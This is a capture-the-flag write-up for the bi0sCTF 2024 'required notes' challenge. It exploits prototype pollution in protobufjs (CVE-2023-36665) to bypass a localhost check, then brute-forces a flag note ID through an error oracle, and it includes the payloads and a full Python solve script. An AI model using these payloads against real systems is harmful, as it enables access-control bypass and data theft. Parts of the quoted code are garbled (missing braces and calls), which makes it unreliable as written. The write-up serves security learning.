Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

required notes

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion



Every CTF requires at least one overly complicated notes app.


Index page:

When we go to the index page (/), it redirected us to /create.

In here, we can create some notes:

Burp Suite HTTP history:

When we clicked the “Create Note” button, it’ll send a POST request to /create with a JSON object attribute title and content.

Upon successful creation, a JSON object with Message and Noteid is respond back to us. Then, the front-end will display a note ID link.

When we clicked on the note ID link, it brings us to /view/<noteId>:

We can also delete the created notes if we want by clicking the “Delete” button:

But it seems like it just append a GET parameter name temp to our URL?

There’s not much we can do in here, let’s view this web application’s source code.

In this challenge, we can download a file:

└> file Zip archive data, at least v1.0 to extract, compression method=store
└> unzip 
   creating: src/
  inflating: src/Dockerfile          
  inflating: src/package-lock.json   
  inflating: src/bot.js              
   creating: src/views/
  inflating: src/views/create.ejs    
  inflating: src/views/view.ejs      
  inflating: src/views/customise.ejs  
  inflating: src/index.js            
  inflating: src/settings.proto      
  inflating: src/package.json        

By reading the source a little bit, we have the following findings:


const fs = require('fs');
function generateNoteId(length) {
  const characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
  let result = '';
  for (let i = 0; i < length; i++) {
    const randomIndex = Math.floor(Math.random() * characters.length);
    result += characters.charAt(randomIndex);
  return result;
let flag = process.env.FLAG;
const flagid = generateNoteId(16);
fs.writeFileSync(`./notes/${flagid}.json`, flag);

As you can see, the flag is in a random note, and the note ID (flagid) is 16 characters long.

It is worth noting that the randomIndex uses Math.random() method to generate a random index. Since Math.random() is a pseudo-random number generator (PRNG), the results should be predictable.

src/index.js, POST method route /create:

const protobuf = require('protobufjs');
[...]'/create', (req, res) => {
    schema = fs.readFileSync('./settings.proto', 'utf-8');
    root = protobuf.parse(schema).root;
    Note = root.lookupType('Note');
    errMsg = Note.verify(requestBody);

    if (errMsg){
      return res.json({ Message: `Verification failed: ${errMsg}` });
    buffer = Note.encode(Note.create(requestBody)).finish();
    decodedData = Note.decode(buffer).toJSON();

    const noteId = generateNoteId(16);
    fs.writeFileSync(`./notes/${noteId}.json`, JSON.stringify(decodedData));

    return res.json({Message: 'Note created successfully!',Noteid: noteId });
  catch (error) {
    res.status(500).json({Message: 'Internal server error' });

In here, we can see that it uses protobuf.js to parse the schema in src/settings.proto, lookup the Note type, and valid our request body is match to the Note type in the schema. If it’s matched, it’ll create a new note.


syntax = "proto2";

message Note {
  optional string title = 1 [default="user"];
  optional string content = 2;
  optional string author = 3 [default="user"];

In here, we can see that the Note type has 3 optional attributes: title, content, and author. So, those 3 attributes are optional when we submitting the note creation POST request.

Hmm… What’s that protobuf.js?

Protocol Buffers are a language-neutral, platform-neutral, extensible way of serializing structured data for use in communications protocols, data storage, and more, originally designed at Google (see).

protobuf.js is a pure JavaScript implementation with TypeScript support for node.js and the browser. It’s easy to use, blazingly fast and works out of the box with .proto files!” -

Now, when it comes to application’s dependencies, some of them have vulnerabilities. Therefore, I wonder are there any vulnerabilities in protobuf.js in the wild-west?

Let’s Google “protobufjs vulnerability”:

Oh! Looks like it has a vulnerability about Prototype Pollution?

In the Code Intelligence blog post, we can see which versions are vulnerable to Prototype Pollution:

The maintainers have already released an update fixing the issue. Versions from 6.10.0 to 7.2.4 are affected and thus vulnerable to Prototype Pollution. We strongly recommend that impacted users upgrade to the newer version that includes the fixes, i.e., version 7.2.4 and above.

In src/package.json, we can see the web application’s protobuf.js version:

  "name": "bi0sctfchall",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  "author": "",
  "license": "ISC",
  "dependencies": {
    "body-parser": "1.20.2",
    "ejs": "3.1.9",
    "express": "4.18.2",
    "glob": "10.3.3",
    "protobufjs": "7.2.3",
    "puppeteer": "21.5.2"

Ohh! It’s version 7.2.3, which is vulnerable to Prototype Pollution!

In the blog post, it has a vulnerable code example:

const protobuf = require("protobufjs");  
protobuf.parse('option(a).constructor.prototype.verified = true;');  
// returns true

When the Protocol Buffers schema is controllable by the user, we can pollute the verified object attribute to boolean value true.

Prototype Pollution (PP) is a vulnerability that enables an attacker to add arbitrary attributes to global object prototypes.

When an attribute is polluted, the entire Object.prototype has the polluted attribute and its value instead of undefined.

Uhh… Wait, in our case, is the Protocol Buffers schema is controllable by us??

src/index.js, GET method route /customise:

app.get('/customise', (req, res) => {
  return res.render('customise');

Umm… There’s a route that we didn’t explore before, let’s go to there:

In here, it looks like we can customize the note’s settings?

Let’s select “Title” and click the “Customize” button:

Burp Suite HTTP history:

When we clicked the “Customize” button, it’ll send a POST request to /customise with a JSON object.

src/index.js, POST method route /customise:

[...]'/customise',(req, res) => {
  try {
    const { data } = req.body;

    let author = data.pop()['author'];

    let title = data.pop()['title'];

    let protoContents = fs.readFileSync('./settings.proto', 'utf-8').split('\n');

    if (author) {
      protoContents[5] = `  ${author} string author = 3 [default="user"];`;

    if (title) {
      protoContents[3] = `  ${title} string title = 1 [default="user"];`;

    fs.writeFileSync('./settings.proto', protoContents.join('\n'), 'utf-8');

    return res.json({ Message: 'Settings changed' });
  } catch (error) {
    res.status(500).json({ Message: 'Internal server error' });

In here, we can send a POST request JSON body, which contains object attribute author or title. If we send an object attribute author, we can insert our own value into the Protocol Buffers schema message type Note. After that, the settings.proto file is written on the disk.

Luckily, this route doesn’t check/validate our input, so we can just inject a new field into it. Hence, the Protocol Buffers schema is controllable by us.

So, if we inject our Prototype Pollution payload to the message type Note in settings.proto, then create a new note, our payload’s object attribute should be overwritten on the web application.

But, what’s our goal in here? Like read the flag note? RCE (Remote Code Execution)? Let’s keep the Prototype Pollution vulnerability in mind and move on.

src/index.js, GET method route /view/:noteId:

app.get('/view/:noteId', (req, res) => {
  const noteId = req.params.noteId;

  try {
    let note=require.resolve(`./notes/${noteId}`);
      return res.status(500).json({ Message: 'Internal Server Error' });

    let noteData = require(`./notes/${noteId}`);
    for (var key in module.constructor._pathCache) {
      if (key.startsWith("./notes/"+noteId)){
        if (!module.constructor._pathCache[key].endsWith(noteId+".json")){
          if (noteId===healthCheckId){
          delete module.constructor._pathCache[key];
          return res.status(500).json({ Message: 'Internal Server Error' });
    if(req.query.temp !== undefined){
      fs.unlink(`./notes/${noteId}.json`, (unlinkError) => {
        if (unlinkError) {
          console.error('File missing');
    return res.render('view', { noteData });

  } catch (error) {
    return res.status(500).json({ Message: 'Internal Server Error' });

In here, when noteId is provided, it’ll loop through the note pathCache from this module’s constructor that are cached by require(). This will check the note file has .json extension or not.

Then, if GET parameter temp is provided, it’ll delete the note JSON file.

Hmm… The _pathCache looks weird to me… Anyway, let’s move on.

src/index.js, GET method route /search/:noteId:

const glob = require('glob');
app.get('/search/:noteId', (req, res) => {
  const noteId = req.params.noteId;
  const notes=glob.sync(`./notes/${noteId}*`);
  if(notes.length === 0){
    return res.json({Message: "Not found"});
      return res.json({Message: "Note found"});
      return res.status(500).json({ Message: 'Internal server error' });


In this route, when noteId is provided, it’ll search the note JSON file using glob.sync() method.

Uhh… What’s that module glob and sync() method?

“Match files using the patterns the shell uses.” -

“Perform a synchronous glob search for the pattern(s) specified.” -–string-options-globoptions–string–path

What that means is, glob.sync() is to search for files just like in a Bash shell.

In our case, the glob.sync() has a wildcard character (*) appended into the noteId.

Then, if there’s a match, returns JSON message Note found, otherwise returns HTTP status code 500 with JSON message Internal server error.

Ah ha! That being said, we can brute force the note ID with an error-based oracle!

But wait! There’s a catch!

src/index.js, route /search:

const restrictToLocalhost = (req, res, next) => {
  const remoteAddress = req.connection.remoteAddress;
  if (remoteAddress === '::1' || remoteAddress === '' || remoteAddress === '::ffff:') {
  } else {
    res.status(403).json({ Message: 'Access denied' });
app.use('/search', restrictToLocalhost);

In here, we can see that the /search route is only allowed for remoteAddress is localhost.

Ah… How can we bypass that?… Maybe Prototype Pollution can help us??


Armed with the above information, we can put all the puzzles altogether!

Here’s the flow:

  1. Inject our own Prototype Pollution payload into the message type Note via POST method route /customise
  2. Pollute the payload’s object attribute with the payload’s object attribute’s value via POST method route /create
  3. Brute force the flag’s note ID via GET method route /search/:noteId
  4. View the flag’s note via GET method route /view/:noteId

Hmm… Which object’s attribute should we pollute?

To find out, let’s run the web application locally using Docker!

Build the image:

└> sudo docker build -t required-notes src/.         

Run the container with an interactive shell:

└> sudo docker run --name ctf-required-notes -it --entrypoint='/bin/sh' --user 0 -p 3000:3000 required-notes:latest
/app # whoami; id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Note: To test the web application locally, I always like to spawn an interactive shell inside the container. Also, I ran the container as root because of the file permissions.

Now, in the src/index.js, we can add a console.log() function in the restrictToLocalhost arrow function to debug the web application:

const restrictToLocalhost = (req, res, next) => {
  const remoteAddress = req.connection.remoteAddress;

  if (remoteAddress === '::1' || remoteAddress === '' || remoteAddress === '::ffff:') {
  } else {
    res.status(403).json({ Message: 'Access denied' });

Then, transfer the index.js to the Docker container:

└> sudo docker cp src/index.js ctf-required-notes:/app/index.js

On the Docker container, run the web application using nodejs:

/app # nodejs index.js 
Server running on port 3000

Then, we can test the new debug route:

└> curl http://localhost:3000/search
{"Message":"Access denied"}
/app # nodejs index.js 
Server running on port 3000
<ref *2> Socket {
  connecting: false,
  _hadError: false,
  _parent: null,

Now, we can find out which object req.connection’s attribute we can pollute!

But first, let’s confirm the Prototype Pollution is really exist in this web application.

To do so, I’ll pollute the Object.prototype with a dummy attribute called foo to string value bar.


{"data":[{"title":"option(foobar) = \"bar\";optional"},{"author":"optional"}]}



After polluted:

└> curl http://localhost:3000/search
{"Message":"Access denied"}
TypeError: Cannot assign to read only property 'prototype' of function 'function Object() { [native code] }'
    at setProp (/app/node_modules/protobufjs/src/util.js:183:23)
    at setProp (/app/node_modules/protobufjs/src/util.js:183:25)
    at Object.setProperty (/app/node_modules/protobufjs/src/util.js:199:12)
    at Type.setParsedOption (/app/node_modules/protobufjs/src/object.js:203:30)
    at setParsedOption (/app/node_modules/protobufjs/src/parse.js:681:20)
    at parseOption (/app/node_modules/protobufjs/src/parse.js:611:9)
    at parseCommon (/app/node_modules/protobufjs/src/parse.js:256:17)
    at parseType_block (/app/node_modules/protobufjs/src/parse.js:309:17)
    at ifBlock (/app/node_modules/protobufjs/src/parse.js:290:17)
    at parseType (/app/node_modules/protobufjs/src/parse.js:308:9)

Although the application threw a TypeError exception, our foo object attribute has been polluted!

Now that we confirmed the Prototype Pollution is working, let’s move on!

After exploring all the attributes in object req.conneciton, I found the _peername private attribute:

_peername: { address: '::ffff:', family: 'IPv6', port: 45914 },

Uh… In this attribute, the value’s object attribute address is the same as the req.connection.remoteAddress:

// ::ffff:

Hmm… What’s that attribute _peername

When we Google “express js _peername”, we can find this StackOverflow post:

In that post, it says:

“So it seems that the order is important - request.client._peername does not get instantiated before request.connection.remoteAddress is executed.”

Hmm… Looks like when remoteAddress is executed, the _peername will get instantiated.

Ah ha! What if, I pollute the _peername’s attribute address to

Let’s try that!


const restrictToLocalhost = (req, res, next) => {

  const remoteAddress = req.connection.remoteAddress;


  if (remoteAddress === '::1' || remoteAddress === '' || remoteAddress === '::ffff:') {
  } else {
    res.status(403).json({ Message: 'Access denied' });


{"data":[{"title":"option(foobar).constructor.prototype._peername.address = \"\";optional"},{"author":"optional"}]}

Before polluted:

└> curl http://localhost:3000/search
{"Message":"Access denied"}
{ address: '::ffff:', family: 'IPv6', port: 50844 }

After polluted:

└> curl http://localhost:3000/search
<!DOCTYPE html>
<html lang="en">
<meta charset="utf-8">
<pre>Cannot GET /search</pre>
{ address: '' }
{ address: '' }

Nice!!! We successfully polluted the _peername’s address to become!! And now we can access the /search route!

Let’s go!

Here’s come the final step: Brute force the flag note ID via error-based oracle.

We can take an existing note called Healthcheck for an example:

└> curl http://localhost:3000/search/Healthchea
{"Message":"Not found"}
└> curl http://localhost:3000/search/Healthchec 
{"Message":"Internal server error"}
└> curl http://localhost:3000/search/Healthcheck
{"Message":"Note found"}

When the note ID is incorrect, it returns Not found, otherwise it returns Internal server error. Also, when the final character of the note ID is correct, it returns Note found.

Based on the above Prototype Pollution and error-based oracle, we can develop a solve script to get the flag!

#!/usr/bin/env python3
import requests
import argparse
from bs4 import BeautifulSoup
from re import search

class Solver:
    def __init__(self, baseUrl):
        self.baseUrl = baseUrl
        self.FLAG_FORMAT_REGEX_PATTERN = r'(bi0sctf{.*})'
        self.CUSTOMISE_ROUTE = '/customise'
        self.CREATE_NOTE_ROUTE = '/create'
        self.SEARCH_NOTE_ID_ROUTE = '/search/'
        self.VIEW_NOTE_ROUTE = '/view/'
        self.PROTOBUF_SCHEMA_PAYLOAD = 'option(foobar).constructor.prototype._peername.address = \"\";optional'

        self.FLAG_NOTE_ID_LENGTH = 16
        self.CHARACTER_SET = 'abcdefghijklmnopqrstuvwxyz0123456789'
        self.CORRECT_FINAL_CHARACTER_MESSAGE = 'Note found'
        self.leakedFlagNoteId = str()

    def injectPayloadToProtoBufSchema(self):
        print('[*] Injecting the Prototype Pollution payload into the message type `Note`...')
        dataObject = {'data':[{'title':self.PROTOBUF_SCHEMA_PAYLOAD},{'author':'optional'}]}
        response ='{self.baseUrl}{self.CUSTOMISE_ROUTE}', json=dataObject)

        isInjected = True if response.status_code == 200 else False
        if not isInjected:
            print('[-] The Prototype Pollution payload didn\'t get injected into the message type `Note`')

        print('[+] The Prototype Pollution payload has been injected into the message type `Note`!')

    def pollutePeernameAttributeAddress(self):
        print('[*] Polluting `_peername`\'s attribute `address` into ""...')
        dataObject = {'title':'','content':''}
        response ='{self.baseUrl}{self.CREATE_NOTE_ROUTE}', json=dataObject)

        confirmPollutionResponseStatusCode = requests.get(f'{self.baseUrl}{self.SEARCH_NOTE_ID_ROUTE}').status_code
        isPolluted = True if confirmPollutionResponseStatusCode == 404 else False
        if not isPolluted:
            print('[-] `_peername`\'s attribute `address` didn\'t get polluted')

        print('[+] `_peername`\'s attribute `address` has been polluted!')

    def bruteForceNoteIdViaErrorBasedOracle(self):
        print('[*] Brute forcing the flag\'s note ID...')
        leakedFlagNoteId = str()
        while len(leakedFlagNoteId) < self.FLAG_NOTE_ID_LENGTH:
            for character in self.CHARACTER_SET:
                print(f'[*] Brute forcing character "{character}" | Current leaked flag note ID: {leakedFlagNoteId}', end='\r')
                fullLeakedNoteId = leakedFlagNoteId + character
                response = requests.get(f'{self.baseUrl}{self.SEARCH_NOTE_ID_ROUTE}{fullLeakedNoteId}')

                isCorrectCharacter = True if response.status_code == self.CORRECT_CHARACTER_STATUS_CODE else False
                isIncorrectCharacter = True if response.status_code == self.INCORRECT_CHARACTER_STATUS_CODE else False                        

                if isIncorrectCharacter:
                    isCorrectFinalCharacter = True if response.json()['Message'] == self.CORRECT_FINAL_CHARACTER_MESSAGE else False
                    if isCorrectFinalCharacter:
                        leakedFlagNoteId += character

                if not isCorrectCharacter:

                leakedFlagNoteId += character

        if len(leakedFlagNoteId) != self.FLAG_NOTE_ID_LENGTH:
            print('\n[-] Couldn\'t brute force the flag\'s note ID')

        self.leakedFlagNoteId = leakedFlagNoteId
        print(f'\n[+] The flag\'s note ID has been brute forced! Note ID: {self.leakedFlagNoteId}')

    def viewFlagNote(self):
        flagNoteId = self.leakedFlagNoteId
        response = requests.get(f'{self.baseUrl}{self.VIEW_NOTE_ROUTE}{flagNoteId}')
        soup = BeautifulSoup(response.text, 'html.parser')

        flagText = soup.find('p').text
        isMatchedFlag = search(self.FLAG_FORMAT_REGEX_PATTERN, flagText)
        if not isMatchedFlag:
            print('\n[-] Couldn\'t view the flag\'s note')

        flag =
        print(f'[+] The flag note has been viewed! Here\'s the flag: {flag}')

    def solve(self):


def argumentParser():
    parser = argparse.ArgumentParser(description='A solve script for web challenge "required notes" at bi0sCTF 2024.')
    parser.add_argument('-b', '--baseurl', metavar='<Base URL>', help='The instance\'s base URL. For example:', required=True)

    return parser.parse_args()

if __name__ == '__main__':
    args = argumentParser()
    solver = Solver(args.baseurl)

└> python3 -b
[*] Injecting the Prototype Pollution payload into the message type `Note`...
[+] The Prototype Pollution payload has been injected into the message type `Note`!
[*] Polluting `_peername`'s attribute `address` into ""...
[+] `_peername`'s attribute `address` has been polluted!
[*] Brute forcing the flag's note ID...
[*] Brute forcing character "v" | Current leaked flag note ID: jg5hqydgji6zqxj
[+] The flag's note ID has been brute forced! Note ID: jg5hqydgji6zqxjv
[+] The flag note has been viewed! Here's the flag: bi0sctf{w5m5GLtb1aISx8s9xhL8vw==}

Note: If you previously polluted _peername’s attribute address, you’ll need to clean the attribute address. Or maybe you can spawn a new remote instance.


What we’ve learned:

  1. Server-Side Prototype Pollution in protobuf.js (CVE-2023-36665)
  2. Brute forcing with error-based oracle